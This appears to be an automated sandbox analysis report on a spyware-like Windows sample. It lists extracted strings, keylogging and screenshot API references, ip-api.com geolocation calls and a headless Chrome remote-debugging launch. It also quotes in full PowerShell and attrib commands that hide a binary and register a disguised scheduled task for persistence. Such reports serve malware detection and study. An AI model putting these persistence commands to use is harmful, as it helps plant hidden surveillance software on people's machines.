"http://crl.globalsign.net/root-r2.crl0,9iqmgvw,czcaucooe:j9_($nglobalsign" - Source: "00000000-00007916.00000001.216530.E8990000.00000004.mdmp") Found URL "https://www.alphassl.com/repository/03,0*0(" - Source: "00000000-00007916.00000001.216530.E8990000.00000004.mdmp") Found URL "http://crl.globalsign.net/root.crl0=10/0-!http://ocsp.globalsign.com/rootr10%cx.g/8" - Source: "00000000-00007916.00000001.216530.E8990000.00000004.mdmp") Found URL "http://crl.usertrust.com/usertrustrsacertificationauthority.crl0vj0h0?3http://crt.usertrust.com/usertrustrsaaddtrustca.crt0%http://ocsp.usertrust.com0.mnhttp://www.microsoft.com/pki/certs/microoceraut_2010-06-23.crt07ya'4iy()>@6t+a6" - Source: "00000000-00007916.00000001.216530.E8990000.00000004.mdmp") Found URL "http://www.microsoft.com0'6*l1.3.6.1.4.1.311.10.1250905032048z0/^g(o-cejy" - Source: "00000000-00007916.00000001.216530.E8990000.00000004.mdmp") Found URL "https://go.microsoft.coc!hhttp://www.microsoft.com/pki/certs/mictimstapca_2010-07-01.crt0elq6wo/>" - Source: "00000000-00007916.00000001.216530.E8990000.00000004.mdmp") Found URL "http://www.microsoft.com/windows1.3.6.1.4.1.311.3.3.120170929122640.358z0washington1redmond1microsoft" - Source: "00000000-00007916.00000001.216530.E8E97000.00000004.mdmp") Found URL "http://crl.microsoft.com/pki/crl/products/microoceraut_2010-06-23.crl0zn0l0j>http://www.microsoft.com/pki/certs/microoceraut_2010-06-23.crt01http://www.microsoft.com/pki/docs/cps/default.htm0@" - Source: "00000000-00007916.00000001.216530.E8E97000.00000004.mdmp") Found URL "http://www.microsoft.com/windows1.3.6.1.4.1.311.3.3.120170929122640.358z0washington1redmond1microsoft" - Source: "00000000-00007916.00000001.216530.E8EA2000.00000004.mdmp") Found URL "http://crl.microsoft.com/pki/crl/products/microoceraut_2010-06-23.crl0zn0l0j>http://www.microsoft.com/pki/certs/microoceraut_2010-06-23.crt01http://www.microsoft.com/pki/docs/cps/default.htm0@$vkt7" - Source: "00000000-00007916.00000001.216530.E8EA2000.00000004.mdmp") Found URL "http://crl.microsoft.com/pki/crl/products/mictimstapca_2010-07-01.crl0zn0l0j>http://www.microsoft.com/pki/certs/mictimstapca_2010-07-01.crt0/r$u,>_9sz4s!rx0pltv62@ke.8s" - Source: "00000000-00007916.00000001.216530.E8F9C000.00000004.mdmp") Found URL "http://crl.microsoft.com/pki/crl/products/mictimstapca_2010-07-01.crl0zn0l0j>http://www.microsoft.com/pki/certs/mictimstapca_2010-07-01.crt0/r$u,ev$f9]mwyprg?j?" - Source: "00000000-00007916.00000001.216530.E8F9C000.00000004.mdmp") Found URL "http://www.microsoft.com/windowsstanced" - Source: "00000000-00007916.00000001.216530.E8F9C000.00000004.mdmp") Found URL "http://www.microsoft.com/pkiops/crl/micwinpropca2011_2011-10-19.crl0au0s0qehttp://www.microsoft.com/pkiops/certs/micwinpropca2011_2011-10-19.crt0fhttp://www.microsoft.com/pki/certs/microoceraut_2010-jyqf;?0xdb7j[agysf0d1aoc1402+229879+719555cb-6de2-446c-acba-d90894acd8720m0k0ichttp://www.microsoft.com/pkiops/crl/micwinpropca2011_2011-10-19.crl0au0s0qehttp://www.microsoft.com/pkiops/certs/micwinpropca2011_2011-10-19.crt0fhttp://www.microsoft.com/pki/certs/microoceraut_2010-washington1redmond1microsoft" - Source: "00000000-00007916.00000001.216530.E8F9C000.00000004.mdmp") Found URL "http://crl.microsoft.com/pki/crl/products/microoceraut_2010-06-23.crl0zn0l0j>http://www.microsoft.com/pki/certs/microoceraut_2010-namepropnameprop.namepropwnamepropnamepropnamepropnamepropnamepropnamepropnamepropnamepropnameprop1namepropnamepropnamepropnamepropnamepropnamepropnamepropnamepropnamepropnamepropnamepropnameproptnamepropnamepropnamepropnamepropnamepropwashiton1k.$b$%'%buffpmicrosoft" - Source: "00000000-00007916.00000001.216530.E8F9C000.00000004.mdmp") Found URL "https://www.google.com/maps?q=%.6f,%.6flocation:" - Source: "00000000-00007960.00000000.222110.E6890000.00000004.mdmp") Found URL "https://github.com/btbn/ffmpeg-builds/releases/download/latest/ffmpeg-master-latest-win64-gpl.zip'" - Source: "00000000-00007960.00000000.222110.E6890000.00000004.mdmp") Found URL "http://ip-api.com/json'" - Source: "00000000-00007960.00000000.222110.E6890000.00000004.mdmp") Found URL "https://www.google.com/maps?q=%.7f,%.7f===" - Source: "00000000-00007960.00000000.222110.E6890000.00000004.mdmp") Found URL "https://www.google.com/maps?q=%.6f,%.6flocation:" - Source: "00000000-00008156.00000000.214735.CC294000.00000002.mdmp") Found URL "https://github.com/btbn/ffmpeg-builds/releases/download/latest/ffmpeg-master-latest-win64-gpl.zip'" - Source: "00000000-00008156.00000000.214735.CC294000.00000002.mdmp") Found URL "http://ip-api.com/json'" - Source: "00000000-00008156.00000000.214735.CC294000.00000002.mdmp") Found URL "https://www.google.com/maps?q=%.7f,%.7f===" - Source: "00000000-00008156.00000000.214735.CC294000.00000002.mdmp")66:T543,Found string "GET %s HTTP/1.1Host: localhost:%dConnection: close" (Indicator: "HTTP/1.1"; File: "44e04c004a67c3f424db0d49c6dca82eccadcab00fb0a62c6c959354f8e1f837.bin") Found string "GET %s HTTP/1.1Host: %s:%dUpgrade: websocketConnection: UpgradeSec-WebSocket-Key: dGhlIHNhbXBsZSBub25jZQ==Sec-WebSocket-Version: 13" (Indicator: "HTTP/1.1"; File: "44e04c004a67c3f424db0d49c6dca82eccadcab00fb0a62c6c959354f8e1f837.bin") Found string "GET /json/ HTTP/1.0Host: ip-api.comUser-Agent: Mozilla/5.0Connection: close" (Indicator: "HTTP/1.0"; File: "44e04c004a67c3f424db0d49c6dca82eccadcab00fb0a62c6c959354f8e1f837.bin") Found string "GET %s HTTP/1.1" (Indicator: "HTTP/1.1"; Source: "00000000-00002464.00000000.220532.3BD34000.00000002.mdmp, 00000000-00005556.00000000.221580.F5550000.00000004.mdmp, 00000000-00007960.00000000.222110.E6890000.00000004.mdmp") Found string "GET /json/ HTTP/1.0" (Indicator: "HTTP/1.0"; Source: "00000000-00002464.00000000.220532.3BD34000.00000002.mdmp, 00000000-00005556.00000000.221580.F5550000.00000004.mdmp, 00000000-00007960.00000000.222110.E6890000.00000004.mdmp") Found string "GET %s HTTP/1.1" (Indicator: "HTTP/1.1"; Source: "00000000-00002920.00000000.218957.34CB4000.00000002.mdmp") Found string "GET /json/ HTTP/1.0" (Indicator: "HTTP/1.0"; Source: "00000000-00002920.00000000.218957.34CB4000.00000002.mdmp")67:T457,Found string ""%s" --remote-debugging-port=%d --headless=new --no-sandbox --disable-gpu --no-first-run --no-default-browser-check --disable-extensions --disable-background-networking --disable-sync --user-data-dir="%s"" (Indicator: "--remote-debugging-port="; File: "44e04c004a67c3f424db0d49c6dca82eccadcab00fb0a62c6c959354f8e1f837.bin") Found string ""%s" --remote-debugging-port=%d --headless=new --no-sandbox --disable-gpu --no-first-run --no-default-browser-check --disable-extensions --disable-background-networking --disable-sync --user-data-dir="%s"" (Indicator: "--remote-debugging-port="; Source: "00000000-00002464.00000000.220532.3BD34000.00000002.mdmp, 00000000-00005556.00000000.221580.F5550000.00000004.mdmp, 00000000-00007960.00000000.222110.E6890000.00000004.mdmp") Found string ""%s" --remote-debugging-port=%d --headless=new --no-sandbox --disable-gpu --no-first-run --no-default-browser-check --disable-extensions --disable-background-networking --disable-sync --user-data-dir="%s"" (Indicator: "--remote-debugging-port="; Source: "00000000-00002920.00000000.218957.34CB4000.00000002.mdmp")68:T905,Found reference to API "CreateCompatibleDC" (Indicator: "CreateCompatibleDC"; File: "44e04c004a67c3f424db0d49c6dca82eccadcab00fb0a62c6c959354f8e1f837.bin") Found reference to API "BitBlt" (Indicator: "BitBlt"; File: "44e04c004a67c3f424db0d49c6dca82eccadcab00fb0a62c6c959354f8e1f837.bin") Found reference to API "CreateCompatibleBitmap" (Indicator: "CreateCompatibleBitmap"; File: "44e04c004a67c3f424db0d49c6dca82eccadcab00fb0a62c6c959354f8e1f837.bin") Found reference to API "GetDC" (Indicator: "GetDC"; File: "44e04c004a67c3f424db0d49c6dca82eccadcab00fb0a62c6c959354f8e1f837.bin") Found reference to API "BitBlt" (Indicator: "BitBlt"; Source: "00000000-00004712.00000000.221050.3BD59000.00000004.mdmp, 00000000-00005556.00000000.221580.F5550000.00000004.mdmp, 00000000-00006268.00000000.222670.3BD59000.00000004.mdmp, 00000000-00006900.00000000.224254.3BD59000.00000004.mdmp, 00000000-00007960.00000000.222110.E6890000.00000004.mdmp") Found reference to API "CreateCompatibleBitmap" (Indicator: "CreateCompatibleBitmap"; Source: "00000000-00004712.00000000.221050.3BD59000.00000004.mdmp, 00000000-00005556.00000000.221580.F5550000.00000004.mdmp, 00000000-00006268.00000000.222670.3BD59000.00000004.mdmp, 00000000-00006900.00000000.224254.3BD59000.00000004.mdmp, 00000000-00007960.00000000.222110.E6890000.00000004.mdmp") Found reference to API "CreateCompatibleDC" (Indicator: "CreateCompatibleDC"; Source: "00000000-00004712.00000000.221050.3BD59000.00000004.mdmp, 00000000-00005556.00000000.221580.F5550000.00000004.mdmp, 00000000-00006268.00000000.222670.3BD59000.00000004.mdmp, 00000000-00006900.00000000.224254.3BD59000.00000004.mdmp, 00000000-00007960.00000000.222110.E6890000.00000004.mdmp") Found reference to API "GetDC" (Indicator: "GetDC"; Source: "00000000-00005556.00000000.221580.F5550000.00000004.mdmp, 00000000-00007960.00000000.222110.E6890000.00000004.mdmp") Found reference to API "BitBlt" (Indicator: "BitBlt"; Source: "00000000-00004528.00000000.218376.34CD9000.00000004.mdmp") Found reference to API "CreateCompatibleBitmap" (Indicator: "CreateCompatibleBitmap"; Source: "00000000-00004528.00000000.218376.34CD9000.00000004.mdmp") Found reference to API "CreateCompatibleDC" (Indicator: "CreateCompatibleDC"; Source: "00000000-00004528.00000000.218376.34CD9000.00000004.mdmp")69:Tf7c,Found registry query API: "RegOpenKeyExA" in file "44e04c004a67c3f424db0d49c6dca82eccadcab00fb0a62c6c959354f8e1f837.bin" Found registry query API: "RegEnumValueA" in file "44e04c004a67c3f424db0d49c6dca82eccadcab00fb0a62c6c959354f8e1f837.bin" Found registry query API: "RegEnumKeyExA" in file "44e04c004a67c3f424db0d49c6dca82eccadcab00fb0a62c6c959354f8e1f837.bin" Found registry query API: "RegQueryValueExW" in file "44e04c004a67c3f424db0d49c6dca82eccadcab00fb0a62c6c959354f8e1f837.bin" Found registry query API: "RegOpenKeyExW" in file "44e04c004a67c3f424db0d49c6dca82eccadcab00fb0a62c6c959354f8e1f837.bin" Found registry query API: "RegQueryValueExA" in file "44e04c004a67c3f424db0d49c6dca82eccadcab00fb0a62c6c959354f8e1f837.bin" Found registry query API: "RegEnumKeyExW" in file "44e04c004a67c3f424db0d49c6dca82eccadcab00fb0a62c6c959354f8e1f837.bin" Found registry query API: "RegEnumKeyExA" in "00000000-00004712.00000000.221050.3BD59000.00000004.mdmp, 00000000-00005556.00000000.221580.F5550000.00000004.mdmp, 00000000-00006268.00000000.222670.3BD59000.00000004.mdmp, 00000000-00006900.00000000.224254.3BD59000.00000004.mdmp, 00000000-00007960.00000000.222110.E6890000.00000004.mdmp" Found registry query API: "RegEnumKeyExW" in "00000000-00004712.00000000.221050.3BD59000.00000004.mdmp, 00000000-00005556.00000000.221580.F5550000.00000004.mdmp, 00000000-00006268.00000000.222670.3BD59000.00000004.mdmp, 00000000-00006900.00000000.224254.3BD59000.00000004.mdmp, 00000000-00007960.00000000.222110.E6890000.00000004.mdmp" Found registry query API: "RegEnumValueA" in "00000000-00004712.00000000.221050.3BD59000.00000004.mdmp, 00000000-00005556.00000000.221580.F5550000.00000004.mdmp, 00000000-00006268.00000000.222670.3BD59000.00000004.mdmp, 00000000-00006900.00000000.224254.3BD59000.00000004.mdmp, 00000000-00007960.00000000.222110.E6890000.00000004.mdmp" Found registry query API: "RegOpenKeyExA" in "00000000-00004712.00000000.221050.3BD59000.00000004.mdmp, 00000000-00005556.00000000.221580.F5550000.00000004.mdmp, 00000000-00006268.00000000.222670.3BD59000.00000004.mdmp, 00000000-00006900.00000000.224254.3BD59000.00000004.mdmp, 00000000-00007960.00000000.222110.E6890000.00000004.mdmp" Found registry query API: "RegOpenKeyExW" in "00000000-00004712.00000000.221050.3BD59000.00000004.mdmp, 00000000-00005556.00000000.221580.F5550000.00000004.mdmp, 00000000-00006268.00000000.222670.3BD59000.00000004.mdmp, 00000000-00006900.00000000.224254.3BD59000.00000004.mdmp, 00000000-00007960.00000000.222110.E6890000.00000004.mdmp" Found registry query API: "RegQueryValueExA" in "00000000-00004712.00000000.221050.3BD59000.00000004.mdmp, 00000000-00005556.00000000.221580.F5550000.00000004.mdmp, 00000000-00006268.00000000.222670.3BD59000.00000004.mdmp, 00000000-00006900.00000000.224254.3BD59000.00000004.mdmp, 00000000-00007960.00000000.222110.E6890000.00000004.mdmp" Found registry query API: "RegQueryValueExW" in "00000000-00004712.00000000.221050.3BD59000.00000004.mdmp, 00000000-00005556.00000000.221580.F5550000.00000004.mdmp, 00000000-00006268.00000000.222670.3BD59000.00000004.mdmp, 00000000-00006900.00000000.224254.3BD59000.00000004.mdmp, 00000000-00007960.00000000.222110.E6890000.00000004.mdmp" Found registry query API: "RegEnumKeyExA" in "00000000-00004528.00000000.218376.34CD9000.00000004.mdmp" Found registry query API: "RegEnumKeyExW" in "00000000-00004528.00000000.218376.34CD9000.00000004.mdmp" Found registry query API: "RegEnumValueA" in "00000000-00004528.00000000.218376.34CD9000.00000004.mdmp" Found registry query API: "RegOpenKeyExA" in "00000000-00004528.00000000.218376.34CD9000.00000004.mdmp" Found registry query API: "RegOpenKeyExW" in "00000000-00004528.00000000.218376.34CD9000.00000004.mdmp" Found registry query API: "RegQueryValueExA" in "00000000-00004528.00000000.218376.34CD9000.00000004.mdmp" Found registry query API: "RegQueryValueExW" in "00000000-00004528.00000000.218376.34CD9000.00000004.mdmp"6a:T562,Found reference to API "GetAsyncKeyState" (Indicator: "GetAsyncKeyState"; File: "44e04c004a67c3f424db0d49c6dca82eccadcab00fb0a62c6c959354f8e1f837.bin") Found reference to API "GetKeyboardState" (Indicator: "GetKeyboardState"; File: "44e04c004a67c3f424db0d49c6dca82eccadcab00fb0a62c6c959354f8e1f837.bin") Found reference to API "MapVirtualKeyA" (Indicator: "MapVirtualKey"; File: "44e04c004a67c3f424db0d49c6dca82eccadcab00fb0a62c6c959354f8e1f837.bin") Found reference to API "VkKeyScanA" (Indicator: "VkKeyScan"; File: "44e04c004a67c3f424db0d49c6dca82eccadcab00fb0a62c6c959354f8e1f837.bin") Found reference to API "GetAsyncKeyState" (Indicator: "GetAsyncKeyState"; Source: "00000000-00005556.00000000.221580.F5550000.00000004.mdmp, 00000000-00007960.00000000.222110.E6890000.00000004.mdmp") Found reference to API "GetKeyboardState" (Indicator: "GetKeyboardState"; Source: "00000000-00005556.00000000.221580.F5550000.00000004.mdmp, 00000000-00007960.00000000.222110.E6890000.00000004.mdmp") Found reference to API "MapVirtualKeyA" (Indicator: "MapVirtualKey"; Source: "00000000-00005556.00000000.221580.F5550000.00000004.mdmp, 00000000-00007960.00000000.222110.E6890000.00000004.mdmp") Found reference to API "VkKeyScanA" (Indicator: "VkKeyScan"; Source: "00000000-00005556.00000000.221580.F5550000.00000004.mdmp, 00000000-00007960.00000000.222110.E6890000.00000004.mdmp")6b:T533,Found reference to API "GetTokenInformation" (Indicator: "GetTokenInformation"; File: "44e04c004a67c3f424db0d49c6dca82eccadcab00fb0a62c6c959354f8e1f837.bin") Found reference to API "GetUserNameA" (Indicator: "GetUserName"; File: "44e04c004a67c3f424db0d49c6dca82eccadcab00fb0a62c6c959354f8e1f837.bin") Found reference to API "GetTokenInformation" (Indicator: "GetTokenInformation"; Source: "00000000-00004712.00000000.221050.3BD59000.00000004.mdmp, 00000000-00005556.00000000.221580.F5550000.00000004.mdmp, 00000000-00006268.00000000.222670.3BD59000.00000004.mdmp, 00000000-00006900.00000000.224254.3BD59000.00000004.mdmp, 00000000-00007960.00000000.222110.E6890000.00000004.mdmp") Found reference to API "GetUserNameA" (Indicator: "GetUserName"; Source: "00000000-00004712.00000000.221050.3BD59000.00000004.mdmp, 00000000-00005556.00000000.221580.F5550000.00000004.mdmp, 00000000-00006268.00000000.222670.3BD59000.00000004.mdmp, 00000000-00006900.00000000.224254.3BD59000.00000004.mdmp, 00000000-00007960.00000000.222110.E6890000.00000004.mdmp") Found reference to API "GetTokenInformation" (Indicator: "GetTokenInformation"; Source: "00000000-00004528.00000000.218376.34CD9000.00000004.mdmp") Found reference to API "GetUserNameA" (Indicator: "GetUserName"; Source: "00000000-00004528.00000000.218376.34CD9000.00000004.mdmp")6c:T414,Process "powershell.exe" with commandline "powershell -NoP -W Hidden -C "$a=New-ScheduledTaskAction -Execute '%APPDATA%\\Microsoft\\Credentials\\CertEnrollMonitor.exe';$t=New-ScheduledTaskTrigger -Once -At (Get-Date) -RepetitionInterval (New-TimeSpan -Minutes 2);$s=New-ScheduledTaskSettingsSet -Hidden -AllowStartIfOnBatteries -DontStopIfGoingOnBatteries -ExecutionTimeLimit 0;Register-ScheduledTask -Force -TaskName '\\Microsoft\\Windows\\Maintenance\\LicenseAgentWorker' -Action $a -Trigger $t -Settings $s"" (UID: 00000000-00007296) Process "powershell.exe" with commandline "powershell -NoP -W Hidden -C "$a=New-ScheduledTaskAction -Execute '%APPDATA%\\CertEnrollMonitor.exe';$t=New-ScheduledTaskTrigger -Once -At (Get-Date) -RepetitionInterval (New-TimeSpan -Minutes 2);$s=New-ScheduledTaskSettingsSet -Hidden -AllowStartIfOnBatteries -DontStopIfGoingOnBatteries -ExecutionTimeLimit 0;Register-ScheduledTask -Force -TaskName '\\Microsoft\\Windows\\Maintenance\\WinSvcHost' -Action $a -Trigger $t -Settings $s"" (UID: 00000000-00005376)6d:T996,"CertEnrollMonitor.exe" called "FindFirstFileW" with parameter C:\\* (UID: 00000000-00007644) "CertEnrollMonitor.exe" called "FindNextFileW" with parameter $Recycle.Bin (UID: 00000000-00007644) "CertEnrollMonitor.exe" called "FindNextFileW" with parameter $WINDOWS.~BT (UID: 00000000-00007644) "CertEnrollMonitor.exe" called "FindNextFileW" with parameter 44e04c004a67c3f424db0d49c6dca82eccadcab00fb0a62c6c959354f8e1f837.bin.exe (UID: 00000000-00007644) "CertEnrollMonitor.exe" called "FindNextFileW" with parameter bootmgr (UID: 00000000-00007644) "CertEnrollMonitor.exe" called "FindNextFileW" with parameter BOOTNXT (UID: 00000000-00007644) "CertEnrollMonitor.exe" called "FindNextFileW" with parameter bootTel.dat (UID: 00000000-00007644) "CertEnrollMonitor.exe" called "FindNextFileW" with parameter Config.Msi (UID: 00000000-00007644) "CertEnrollMonitor.exe" called "FindNextFileW" with parameter Documents and Settings (UID: 00000000-00007644) "CertEnrollMonitor.exe" called "FindNextFileW" with parameter found.000 (UID: 00000000-00007644) "CertEnrollMonitor.exe" called "FindNextFileW" with parameter inetpub (UID: 00000000-00007644) "CertEnrollMonitor.exe" called "FindNextFileW" with parameter MSOCache (UID: 00000000-00007644) "CertEnrollMonitor.exe" called "FindNextFileW" with parameter pagefile.sys (UID: 00000000-00007644) "CertEnrollMonitor.exe" called "FindNextFileW" with parameter PerfLogs (UID: 00000000-00007644) "CertEnrollMonitor.exe" called "FindNextFileW" with parameter Program Files (UID: 00000000-00007644) "CertEnrollMonitor.exe" called "FindNextFileW" with parameter Program Files (x86) (UID: 00000000-00007644) "CertEnrollMonitor.exe" called "FindNextFileW" with parameter ProgramData (UID: 00000000-00007644) "CertEnrollMonitor.exe" called "FindNextFileW" with parameter Recovery (UID: 00000000-00007644) "CertEnrollMonitor.exe" called "FindNextFileW" with parameter swapfile.sys (UID: 00000000-00007644) "CertEnrollMonitor.exe" called "FindNextFileW" with parameter System Volume Information (UID: 00000000-00007644) "CertEnrollMonitor.exe" called "FindNextFileW" with parameter tempdir (UID: 00000000-00007644) "CertEnrollMonitor.exe" called "FindNextFileW" with parameter TorService (UID: 00000000-00007644) "CertEnrollMonitor.exe" called "FindNextFileW" with parameter Users (UID: 00000000-00007644) "CertEnrollMonitor.exe" called "FindNextFileW" with parameter Windows (UID: 00000000-00007644)6e:T595,"nul && powershell -NoP -W Hidden -C "$a=New-ScheduledTaskAction -Execute '%APPDATA%\Microsoft\Credentials\CertEnrollMonitor.exe';$t=New-ScheduledTaskTrigger -Once -At (Get-Date) -RepetitionInterval (New-TimeSpan -M" (Indicator: "\microsoft\credentials"; File: "00000000-00007644-00000C46-1124621320") "cmd.exe /c chcp 65001 >nul && attrib +h +s "%APPDATA%\Microsoft\Credentials\CertEnrollMonitor.exe"" (Indicator: "\microsoft\credentials"; File: "00000000-00007644-00000C46-77620041308") "powershell -NoP -W Hidden -C "$a=New-ScheduledTaskAction -Execute '%APPDATA%\Microsoft\Credentials\CertEnr" (Indicator: "\microsoft\credentials"; File: "00000000-00007368-00000C47-1820849444"), "$a=New-ScheduledTaskAction -Execute 'C:\Users\HAPUBWS\AppData\Roaming\Microsoft\Credentials\CertEnrollMonitor.exe';$t=New-ScheduledTaskTrigger -Once -At (Get-Date) -RepetitionInterval (New-TimeSpan -Minutes 2);$s=New-ScheduledTaskSettingsSet -Hidden -AllowStartIfOnBatteries -DontStopIfGoingOnBatteries -ExecutionTimeLimit 0;Register-ScheduledTask -Force -TaskName '\Microsoft\Windows\Maintenance\LicenseAgentWorker' -Action $a -Trigger $t -Settings $s" (Indicator: "\microsoft\credentials"; File: "AMSI"), "attrib +h +s "%APPDATA%\Microsoft\Credentials\CertEnrollMonitor.exe"" (Indicator: "\microsoft\credentials"; File: "00000000-00005100-00000C47-1323469086"), "%APPDATA%\Microsoft\Credentials\SearchProtocolMonitor.exe" (Indicator: "\microsoft\credentials"; File: "00000000-00005088-00000C3C-1451379677"), "%APPDATA%\Microsoft\Credentials\TokenManagerSvc.exe" (Indicator: "\microsoft\credentials"; File: "00000000-00004528-00000C3C-10846088313"), "%APPDATA%\Microsoft\Credentials\DiagServiceWorker.exe" (Indicator: "\microsoft\credentials"; File: "00000000-00002920-00000C3C-6429321230"), "/c chcp 65001 >nul && powershell -NoP -W Hidden -C "$a=New-ScheduledTaskAction -Execute '%APPDATA%\Microsoft\Credentials\CertEnrollMonitor.exe';$t=New-ScheduledTaskTrigger -Once -At (Get-Date) -RepetitionInterval (New-TimeSpan -Minutes 2);$s=New-ScheduledTaskSettingsSet -Hidden -AllowStartIfOnBatteries -DontStopIfGoingOnBatteries -ExecutionTimeLimit 0;Register-ScheduledTask -Force -TaskName '\Microsoft\Windows\Maintenance\LicenseAgentWorker' -Action $a -Trigger $t -Settings $s"" (Indicator: "\microsoft\credentials"; File: "cmd.exe"), "powershell -NoP -W Hidden -C "$a=New-ScheduledTaskAction -Execute '%APPDATA%\Microsoft\Credentials\CertEnrollMonitor.exe';$t=New-ScheduledTaskTrigger -Once -At (Get-Date) -RepetitionInterval (New-TimeSpan -Minutes 2);$s=New-ScheduledTaskSettingsSet -Hidden -AllowStartIfOnBatteries -DontStopIfGoingOnBatteries -ExecutionTimeLimit 0;Register-ScheduledTask -Force -TaskName '\Microsoft\Windows\Maintenance\LicenseAgentWorker' -Action $a -Trigger $t -Settings $s"" (Indicator: "\microsoft\credentials"; File: "powershell.exe") "/c chcp 65001 >nul && attrib +h +s "%APPDATA%\Microsoft\Credentials\CertEnrollMonitor.exe"" (Indicator: "\microsoft\credentials"; File: "cmd.exe") "C:\Users\HAPUBWS\AppData\Roaming\Microsoft\Credentials\CertEnrollMonitor.exe" (Indicator: "\microsoft\credentials"; File: "00000000-00000808.00000000.225310.26840000.00000004.mdmp, 00000000-00000808.00000000.225310.26B00000.00000004.mdmp, 00000000-00002464.00000000.220532.A5C10000.00000004.mdmp, 00000000-00002464.00000000.220532.A5DE0000.00000004.mdmp, 00000000-00003624.00000000.223202.7A340000.00000004.mdmp, 00000000-00003624.00000000.223202.7A590000.00000004.mdmp, 00000000-00003676.00000000.223726.533B0000.00000004.mdmp, 00000000-00003676.00000000.223726.534D0000.00000004.mdmp, 00000000-00003832.00000000.219997.B8A00000.00000004.mdmp, 00000000-00003832.00000000.219997.B8D10000.00000004.mdmp, 00000000-00004712.00000000.221050.2B540000.00000004.mdmp, 00000000-00004712.00000000.221050.2BBB0000.00000004.mdmp, 00000000-00005556.00000000.221580.F5550000.00000004.mdmp, 00000000-00005556.00000000.221580.F5890000.00000004.mdmp, 00000000-00006268.00000000.222670.E32E0000.00000004.mdmp, 00000000-00006268.00000000.222670.E3680000.00000004.mdmp, 00000000-00006888.00000000.224779.B92A0000.00000004.mdmp, 00000000-00006888.00000000.224779.B9530000.00000004.mdmp, 00000000-00006900.00000000.224254.983C0000.00000004.mdmp, 00000000-00006900.00000000.224254.98860000.00000004.mdmp, 00000000-00007960.00000000.222110.E6890000.00000004.mdmp, 00000000-00007960.00000000.222110.E6BE0000.00000004.mdmp") "\hapubws\appdata\roaming\microsoft\credentials\cryptbase.dll" (Indicator: "\microsoft\credentials"; File: "00000000-00000808.00000000.225310.26840000.00000004.mdmp, 00000000-00002464.00000000.220532.A5C10000.00000004.mdmp, 00000000-00003832.00000000.219997.B8A00000.00000004.mdmp, 00000000-00006268.00000000.222670.E32E0000.00000004.mdmp, 00000000-00006888.00000000.224779.B92A0000.00000004.mdmp") "APUBWS\AppData\Roaming\Microsoft\Credentials\S" (Indicator: "\microsoft\credentials"; File: "00000000-00000808.00000000.225310.26840000.00000004.mdmp, 00000000-00002464.00000000.220532.A5C10000.00000004.mdmp, 00000000-00003624.00000000.223202.7A340000.00000004.mdmp, 00000000-00003676.00000000.223726.533B0000.00000004.mdmp, 00000000-00003832.00000000.219997.B8A00000.00000004.mdmp, 00000000-00004712.00000000.221050.2B540000.00000004.mdmp, 00000000-00005556.00000000.221580.F5550000.00000004.mdmp, 00000000-00006268.00000000.222670.E32E0000.00000004.mdmp, 00000000-00006888.00000000.224779.B92A0000.00000004.mdmp, 00000000-00006900.00000000.224254.983C0000.00000004.mdmp") "C:\Users\HAPUBWS\AppData\Roaming\Microsoft\Credentials;C:\WINDOWS\SYSTEM32;C:\WINDOWS\system;C:\WINDOWS;.;C:\ProgramData\Oracle\Java\javapath;C:\WINDOWS\system32;C:\WINDOWS;C:\WINDOWS\System32\Wbem;C:\WINDOWS\System32\WindowsPowerShell\v1.0\;%NVM_HOME%;%NVM_SYMLINK%;C:\Users\HAPUBWS\AppData\Local\Programs\Python\Python311\Scripts\;C:\Users\HAPUBWS\AppData\Local\Programs\Python\Python311\;C:\Users\HAPUBWS\AppData\Local\Microsoft\WindowsApps;C:\Program Files\mitmproxy\bin;C:\Users\HAPUBWS\AppData\Roaming\nvm;C:\Program Files\nodejs" (Indicator: "\microsoft\credentials"; File: "00000000-00000808.00000000.225310.26840000.00000004.mdmp, 00000000-00002464.00000000.220532.A5C10000.00000004.mdmp, 00000000-00003624.00000000.223202.7A340000.00000004.mdmp, 00000000-00003676.00000000.223726.533B0000.00000004.mdmp, 00000000-00003832.00000000.219997.B8A00000.00000004.mdmp, 00000000-00004712.00000000.221050.2B540000.00000004.mdmp, 00000000-00005556.00000000.221580.F5550000.00000004.mdmp, 00000000-00006268.00000000.222670.E32E0000.00000004.mdmp, 00000000-00006888.00000000.224779.B92A0000.00000004.mdmp, 00000000-00006900.00000000.224254.983C0000.00000004.mdmp, 00000000-00007960.00000000.222110.E6890000.00000004.mdmp") ":\Users\HAPUBWS\AppData\Roaming\Microsoft\Credentials\CertEnrollMonitor.exe" (Indicator: "\microsoft\credentials"; File: "00000000-00000808.00000000.225310.26840000.00000004.mdmp, 00000000-00002464.00000000.220532.A5C10000.00000004.mdmp, 00000000-00003624.00000000.223202.7A340000.00000004.mdmp, 00000000-00003676.00000000.223726.533B0000.00000004.mdmp, 00000000-00003832.00000000.219997.B8A00000.00000004.mdmp, 00000000-00004712.00000000.221050.2B540000.00000004.mdmp, 00000000-00005556.00000000.221580.F5550000.00000004.mdmp, 00000000-00006268.00000000.222670.E32E0000.00000004.mdmp, 00000000-00006888.00000000.224779.B92A0000.00000004.mdmp, 00000000-00006900.00000000.224254.983C0000.00000004.mdmp, 00000000-00007960.00000000.222110.E6890000.00000004.mdmp") ":\users\hapubws\appdata\roaming\microsoft\credentials\certenrollmonitor.exe" (Indicator: "\microsoft\credentials"; File: "00000000-00000808.00000000.225310.26840000.00000004.mdmp, 00000000-00002464.00000000.220532.A5C10000.00000004.mdmp, 00000000-00003624.00000000.223202.7A340000.00000004.mdmp, 00000000-00003676.00000000.223726.533B0000.00000004.mdmp, 00000000-00003832.00000000.219997.B8A00000.00000004.mdmp, 00000000-00004712.00000000.221050.2B540000.00000004.mdmp, 00000000-00005556.00000000.221580.F5550000.00000004.mdmp, 00000000-00006268.00000000.222670.E32E0000.00000004.mdmp, 00000000-00006888.00000000.224779.B92A0000.00000004.mdmp, 00000000-00006900.00000000.224254.983C0000.00000004.mdmp") "??\C:\Users\HAPUBWS\AppData\Roaming\Microsoft\Credentials\CertEnrollMonitor.exe" (Indicator: "\microsoft\credentials"; File: "00000000-00000808.00000000.225310.26840000.00000004.mdmp, 00000000-00002464.00000000.220532.A5C10000.00000004.mdmp, 00000000-00003624.00000000.223202.7A340000.00000004.mdmp, 00000000-00003676.00000000.223726.533B0000.00000004.mdmp, 00000000-00003832.00000000.219997.B8A00000.00000004.mdmp, 00000000-00004712.00000000.221050.2B540000.00000004.mdmp, 00000000-00005556.00000000.221580.F5550000.00000004.mdmp, 00000000-00006268.00000000.222670.E32E0000.00000004.mdmp, 00000000-00006888.00000000.224779.B92A0000.00000004.mdmp, 00000000-00006900.00000000.224254.983C0000.00000004.mdmp") 